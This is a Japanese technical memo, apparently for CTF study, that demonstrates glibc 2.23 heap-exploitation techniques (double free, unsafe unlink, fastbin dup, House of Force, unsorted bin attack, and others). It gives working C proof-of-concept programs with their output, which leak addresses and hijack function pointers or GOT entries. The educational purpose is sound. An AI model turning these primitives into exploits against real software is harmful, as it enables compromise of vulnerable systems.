glibc malloc exploit techniques
malloc系exploitテクニックのうち、応用しやすそうなもののメモ。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
double free vulnerability and overlapping chunks
double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。
/* double_free.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
puts("[+] allocate p1");
char *p1 = malloc(0x80);
printf("p1 = %p\n", p1);
puts("\n[+] free p1");
free(p1);
puts("\n[+] allocate p2");
char *p2 = malloc(0x90);
printf("p2 = %p\n", p2);
puts("\n[+] p1 double free");
free(p1);
puts("\n[+] allocate p3");
char *p3 = malloc(0xa0);
printf("p3 = %p\n", p3);
puts("\n[+] now p2 and p3 are overlapped");
memset(p2, 'A', 0x80);
memset(p3, 'B', 0x80);
printf("*p2 = %s\n", p2);
printf("*p3 = %s\n", p3);
puts("\n[+] allocate p4, p5, p6");
char *p4 = malloc(0xb0);
char *p5 = malloc(0xc0);
char *p6 = malloc(0xd0);
printf("p4 = %p\n", p4);
printf("p5 = %p\n", p5);
printf("p6 = %p\n", p6);
puts("\n[+] free p5 and p2");
free(p5);
free(p2);
puts("\n[+] leak heap address via p3");
printf("*p3 = %p\n", *(void **)p3);
printf("heap base = %p\n", *(void **)p3 - 0x580);
puts("\n[+] free p6");
free(p6);
puts("\n[+] leak libc address via p3: &(main_arena->top)");
printf("*p3 = %p\n", *(void **)p3);
printf("libc base = %p\n", *(void **)p3 - 0x3c3b78);
return 0;
}
$ gcc double_free.c -o double_free $ ./double_free [+] allocate p1 p1 = 0x235a420 [+] free p1 [+] allocate p2 p2 = 0x235a420 [+] p1 double free [+] allocate p3 p3 = 0x235a420 [+] now p2 and p3 are overlapped *p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB *p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB [+] allocate p4, p5, p6 p4 = 0x235a4d0 p5 = 0x235a590 p6 = 0x235a660 [+] free p5 and p2 [+] leak heap address via p3 *p3 = 0x235a580 heap base = 0x235a000 [+] free p6 [+] leak libc address via p3: &(main_arena->top) *p3 = 0x7f8990ea9b78 libc base = 0x7f8990ae6000
ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。
allocate large chunks in heap segment
通常0x20000バイト(M_MMAP_THRESHOLD)以上のメモリをallocすると、その領域はmmapにより確保される。
しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。
/* large_chunks_in_heap.c */
#include <stdio.h>
#include <stdlib.h>
int main()
{
puts("[+] allocate p1");
char *p1 = malloc(0x21000);
printf("p1 = %p\n", p1);
puts("\n[+] free p1");
free(p1);
puts("\n[+] allocate p2, p3, p4");
char *p2 = malloc(0x21000);
printf("p2 = %p\n", p2);
char *p3 = malloc(0x21000);
printf("p3 = %p\n", p3);
char *p4 = malloc(0x21000);
printf("p4 = %p\n", p4);
return 0;
}
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap $ ./large_chunks_in_heap [+] allocate p1 p1 = 0x7fbc43aa0010 [+] free p1 [+] allocate p2, p3, p4 p2 = 0x16db420 p3 = 0x16fc430 p4 = 0x171d440
unsafe unlink attack
古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。
1413 /* Take a chunk off a bin list */
1414 #define unlink(AV, P, BK, FD) { \
1415 FD = P->fd; \
1416 BK = P->bk; \
1417 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ /* <- here */
1418 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
1419 else { \
1420 FD->bk = BK; \
1421 BK->fd = FD; \
1422 if (!in_smallbin_range (P->size) \
1423 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
1424 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
1425 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
1426 malloc_printerr (check_action, \
1427 "corrupted double-linked list (not small)", \
1428 P, AV); \
1429 if (FD->fd_nextsize == NULL) { \
1430 if (P->fd_nextsize == P) \
1431 FD->fd_nextsize = FD->bk_nextsize = FD; \
1432 else { \
1433 FD->fd_nextsize = P->fd_nextsize; \
1434 FD->bk_nextsize = P->bk_nextsize; \
1435 P->fd_nextsize->bk_nextsize = FD; \
1436 P->bk_nextsize->fd_nextsize = FD; \
1437 } \
1438 } else { \
1439 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
1440 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
1441 } \
1442 } \
1443 } \
1444 }
しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。
/* unsafe_unlink.c */
#include <stdio.h>
#include <stdlib.h>
void jackpot() { puts("jackpot!"); }
char *p;
int main()
{
printf("&p = %p\n", &p);
puts("\n[+] allocate p and p1");
p = malloc(0x40);
char *p1 = malloc(0x80);
printf("p = %p\n", p);
printf("p1 = %p\n", p1);
printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
printf("p1->size = %p\n", *(void **)(p1-0x8));
puts("\n[+] abuse p overflow");
*(void **)(p+0x10) = (void *)&p-0x18;
*(void **)(p+0x18) = (void *)&p-0x10;
*(void **)(p+0x40) = 0x40;
*(void **)(p+0x48) = 0x90;
printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
printf("p1->size = %p\n", *(void **)(p1-0x8));
puts("\n[+] free p1 (p <- &p-0x18)");
free(p1);
printf("p = %p\n", p);
puts("\n[+] modify p and write *p");
*(void **)(p+0x18) = 0x601028; /* printf@got */
*(void **)p = jackpot;
printf("p = %p\n", p);
return 0;
}
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p+0x40) = 0x40;
^
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p+0x48) = 0x90;
^
unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p+0x18) = 0x601028; /* printf@got */
^
$ ./unsafe_unlink
&p = 0x601058
[+] allocate p and p1
p = 0x20bc420
p1 = 0x20bc470
p1->prev_size = (nil)
p1->size = 0x91
[+] abuse p overflow
p->fd->bk = 0x601058
p->bk->fd = 0x601058
p1->prev_size = 0x40
p1->size = 0x90
[+] free p1 (p <- &p-0x18)
p = 0x601040
[+] modify p and write *p
jackpot!
追記
上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。
fastbins unlink attack
通常0x80=128バイト(M_MXFAST)未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。
さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->sizeが正しいかどうかのみとなる。
これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。
/* fastbins_unlink.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
void *n = 0x51;
void (*p)() = leave;
int main()
{
printf("&p = %p\n", &p);
puts("\n[+] allocate p1, p2");
char *p1 = malloc(0x20);
char *p2 = malloc(0x40);
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
puts("\n[+] free p2");
free(p2);
puts("\n[+] abuse p1 overflow");
*(void **)(p1+0x28) = 0x51;
*(void **)(p1+0x30) = (void *)&p - 0x10;
printf("p2->size = %p\n", *(void **)(p2-0x8));
printf("p2->fd = %p\n", *(void **)(p2+0x0));
puts("\n[+] unlink p2");
char *p3 = malloc(0x40);
printf("p3 = %p\n", p3);
puts("\n[+] get target memory");
char *p4 = malloc(0x40);
printf("p4 = %p\n", p4);
*(void **)p4 = jackpot;
p();
return 0;
}
$ gcc fastbins_unlink.c -o fastbins_unlink
fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
void *n = 0x51;
^
fastbins_unlink.c: In function ‘main’:
fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p1+0x28) = 0x51;
^
$ ./fastbins_unlink
&p = 0x601058
[+] allocate p1, p2
p1 = 0x1ac6420
p2 = 0x1ac6450
[+] free p2
[+] abuse p1 overflow
p2->size = 0x51
p2->fd = 0x601048
[+] unlink p2
p3 = 0x1ac6450
[+] get target memory
p4 = 0x601058
jackpot!
fastbin dup into stack
fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。
したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。
これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd を書き換えることでfastbins unlink attackを行うことができる。
なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。
/* fastbin_dup_into_stack.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
void *n = 0x51;
void (*p)() = leave;
int main()
{
printf("&p = %p\n", &p);
puts("\n[+] allocate p1, p2, p3");
char *p1 = malloc(0x40);
char *p2 = malloc(0x40);
char *p3 = malloc(0x40);
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
printf("p3 = %p\n", p3);
puts("\n[+] free p1, p2, p1");
free(p1);
free(p2);
free(p1);
puts("\n[+] allocate p4, p5");
char *p4 = malloc(0x40);
char *p5 = malloc(0x40);
printf("p4 = %p\n", p4);
printf("p5 = %p\n", p5);
puts("\n[+] write p4->fd");
*(void **)p4 = (void *)&p - 0x10;
printf("p4->size = %p\n", *(void **)(p4-0x8));
printf("p4->fd = %p\n", *(void **)p4);
puts("\n[+] unlink p4 by allocating p6");
char *p6 = malloc(0x40);
printf("p6 = %p\n", p6);
puts("\n[+] get target memory");
char *p7 = malloc(0x40);
printf("p7 = %p\n", p7);
*(void **)p7 = jackpot;
p();
return 0;
}
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack
fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
void *n = 0x51;
^
$ ./fastbin_dup_into_stack
&p = 0x601058
[+] allocate p1, p2, p3
p1 = 0x1e8e420
p2 = 0x1e8e470
p3 = 0x1e8e4c0
[+] free p1, p2, p1
[+] allocate p4, p5
p4 = 0x1e8e420
p5 = 0x1e8e470
[+] write p4->fd
p4->size = 0x51
p4->fd = 0x601048
[+] unlink p4 by allocating p6
p6 = 0x1e8e420
[+] get target memory
p7 = 0x601058
jackpot!
chunk size overwrite attack
隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。
/* chunk_size_overwrite.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
int main()
{
puts("[+] allocate p1, p2, p3");
char *p1 = malloc(0x80);
char *p2 = malloc(0x80);
void (**p3)() = malloc(sizeof(void *));
*p3 = leave;
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
printf("p3 = %p\n", p3);
printf("p2->size = %p\n", *(void **)(p2-0x8));
printf("*p3 = %p\n", *p3);
puts("\n[+] free p2");
free(p2);
puts("\n[+] abuse p1 overflow");
*(void **)(p1+0x88) = 0x1001;
printf("p2->size = %p\n", *(void **)(p2-0x8));
puts("\n[+] allocate a large chunk");
char *p4 = malloc(0x200);
printf("p4 = %p\n", p4);
puts("\n[+] overwrite *p3");
*(void **)(p4+0x90) = jackpot;
printf("*p3 = %p\n", *p3);
(*p3)();
return 0;
}
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite
chunk_size_overwrite.c: In function ‘main’:
chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p1+0x88) = 0x1001;
^
$ ./chunk_size_overwrite
[+] allocate p1, p2, p3
p1 = 0x8ca420
p2 = 0x8ca4b0
p3 = 0x8ca540
p2->size = 0x91
*p3 = 0x4005f6
[+] free p2
[+] abuse p1 overflow
p2->size = 0x1001
[+] allocate a large chunk
p4 = 0x8ca4b0
[+] overwrite *p3
*p3 = 0x400607
jackpot!
House of Force attack
heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。
- top chunkのアドレスが推測可能
- top chunkのサイズを任意の値に書き換えられる
- その後任意のサイズのmallocを呼ぶことができる
また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。
/* house of force.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
unsigned long junk = 0xdeadbeef;
void (*p)() = leave;
int main()
{
printf("&p = %p\n", &p);
printf("junk = %lx\n", junk);
puts("\n[+] allocate p1");
char *p1 = malloc(0x40);
char *top_chunk = p1+0x40;
printf("p1 = %p\n", p1);
printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));
puts("\n[+] abuse p1 overflow");
*(void **)(p1+0x48) = -1;
printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));
puts("\n[+] allocate a huge chunk (break &p-0x8)");
long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10);
char *p2 = malloc(newsize);
printf("junk = %lx\n", junk);
puts("\n[+] get target memory");
char *p3 = malloc(0x80);
printf("p3 = %p\n", p3);
if ((long)&p % 0x10 == 0) {
*(void **)p3 = jackpot;
} else {
*(void **)(p3+0x8) = jackpot;
}
p();
return 0;
}
$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p1+0x48) = -1;
^
$ ./house_of_force
&p = 0x601050
junk = deadbeef
[+] allocate p1
p1 = 0x117f420
top chunk size = 0x20ba1
[+] abuse p1 overflow
top chunk size = 0xffffffffffffffff
[+] allocate a huge chunk (break &p-0x8)
junk = b7e419
[+] get target memory
p3 = 0x601050
jackpot!
unsorted bin attack
fastbin chunkではないchunk(サイズがM_MXFAST以上)のbkを書き換えることにより、推測可能なアドレスにある値を大きな値(&(main_arena->top))に書き換えることができる。
/* unsorted_bin.c */
#include <stdio.h>
#include <stdlib.h>
unsigned long target = 0xdeadbeef;
int main(){
printf("target = %lx\n", target);
puts("\n[+] allocate p1, p2, p3");
char *p1 = malloc(0x80);
char *p2 = malloc(0x90);
char *p3 = malloc(0xa0);
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
printf("p3 = %p\n", p3);
puts("\n[+] free p2");
free(p2);
puts("\n[+] abusing p1 overflow");
*(void **)(p1+0x98) = (void *)&target-0x10;
puts("\n[+] allocate p4 with the same size of p2");
char *p4 = malloc(0x90);
printf("p4 = %p\n", p4);
puts("\n[+] target is overwritten with a large number: &(main_arena->top)");
printf("target = %lx\n", target);
return 0;
}
$ gcc unsorted_bin.c -o unsorted_bin $ ./unsorted_bin target = deadbeef [+] allocate p1, p2, p3 p1 = 0x1d60420 p2 = 0x1d604b0 p3 = 0x1d60550 [+] free p2 [+] abusing p1 overflow [+] allocate p4 with the same size of p2 p4 = 0x1d604b0 [+] target is overwritten with a large number: &(main_arena->top) target = 7fd47489eb78
更新履歴
- 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
- 2018/01/24: fastbin dup into stackを追記
関連リンク
- Glibc malloc internal
- shellphish/how2heap: A repository for learning various heap exploitation techniques.
- katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap
- katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tp
- HITCON CTF Quals 2016 Writeup - ShiftCrops つれづれなる備忘録
- Advanced Heap Exploitation: 0CTF 2015 'freenote' writeup
- BCTF 2016 writeup - しゃろの日記
- Heap overflow using Malloc Maleficarum | sploitF-U-N
- gb_master's /dev/null – … and I said, "Hello, Satan. I believe it's time to go."
- The macabre dance of memory chunks | This is Security :: by Stormshield
- 杨坤:掘金CTF ——CTF中的内存漏洞利用技巧, Geekon 2015 | Network and Information Security Lab @ Tsinghua University
- 0CTF 2016 - Zerostorage Writeup - BrieflyX's Base
- Pwning My Life: HITCON CTF Qual 2016 - House of Orange Write up
- Advanced Heap Overflow Exploitation